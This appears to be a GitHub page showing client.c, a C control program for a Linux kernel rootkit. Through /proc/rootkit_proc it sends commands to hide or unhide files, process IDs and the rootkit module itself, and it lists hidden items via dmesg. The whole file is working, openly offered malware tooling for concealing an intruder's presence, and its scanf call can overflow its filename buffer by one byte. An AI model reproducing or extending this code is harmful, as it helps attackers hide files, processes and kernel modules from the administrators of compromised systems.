-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathclient.c
138 lines (119 loc) · 2.43 KB
/
client.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <string.h>
void display_intro(void){
printf("Options:\n");
printf("\t1. Hide file\n");
printf("\t2. Unhide file\n");
printf("\t3. Hide PID\n");
printf("\t4. Unhide PID\n");
printf("\t5. See hidden files/PIDs\n");
printf("\t6. Hide module\n");
printf("\t7. Unhide module\n");
}
int get_option(void){
char c;
printf("Select an option: ");
do {
c = fgetc(stdin);
} while (c == '\n');
return c - '0';
}
void send_msg_file(int id, int fd){
char filename[256];
printf("Introduce the name of the file: ");
scanf("%256s", filename);
int size = sizeof(id) + strlen(filename) + 1;
void* msg = malloc(size);
memcpy(msg, &id, sizeof(id));
memcpy(msg + sizeof(id), filename, strlen(filename) + 1);
if (write(fd, msg, size) != size)
printf("ERROR WRITE\n");
free(msg);
}
void send_msg_pid(int id, int fd){
int msg[2];
msg[0] = id;
printf("Introduce the PID of the process: ");
scanf("%d", &msg[1]);
if (write(fd, msg, sizeof(msg)) != sizeof(msg))
printf("ERROR WRITE\n");
}
void send_msg_id(int id, int fd){
if (write(fd, &id, sizeof(id)) != sizeof(id))
printf("ERROR WRITE\n");
}
void hide_file(int fd){
send_msg_file(1, fd);
}
void unhide_file(int fd){
send_msg_file(2, fd);
}
void hide_pid(int fd){
send_msg_pid(3, fd);
}
void unhide_pid(int fd){
send_msg_pid(4, fd);
}
void see_hidden(int fd){
send_msg_id(5, fd);
printf("Hidden files and PIDs shown in dmesg:\n");
system("dmesg | tail -2"); //could there be a race condition?
}
void hide_module(int fd){
send_msg_id(6, fd);
}
void unhide_module(int fd){
send_msg_id(7, fd);
}
int main(int argc, char** argv){
int once = (argc > 1);
int fd, correct;
if ((fd = open("/proc/rootkit_proc", O_WRONLY)) == -1){
printf("ERROR OPEN: Is the rootkit running?\n");
return -1;
}
printf("Welcome!\n");
while (1){
correct = 1;
display_intro();
int option = get_option();
switch (option){
case 1:
hide_file(fd);
break;
case 2:
unhide_file(fd);
break;
case 3:
hide_pid(fd);
break;
case 4:
unhide_pid(fd);
break;
case 5:
see_hidden(fd);
break;
case 6:
hide_module(fd);
break;
case 7:
unhide_module(fd);
break;
default:
correct = 0;
}
if (correct)
printf("Done\n\n");
else
printf("Wrong option.\n\n");
if (once)
break;
}
close(fd);
return 0;
}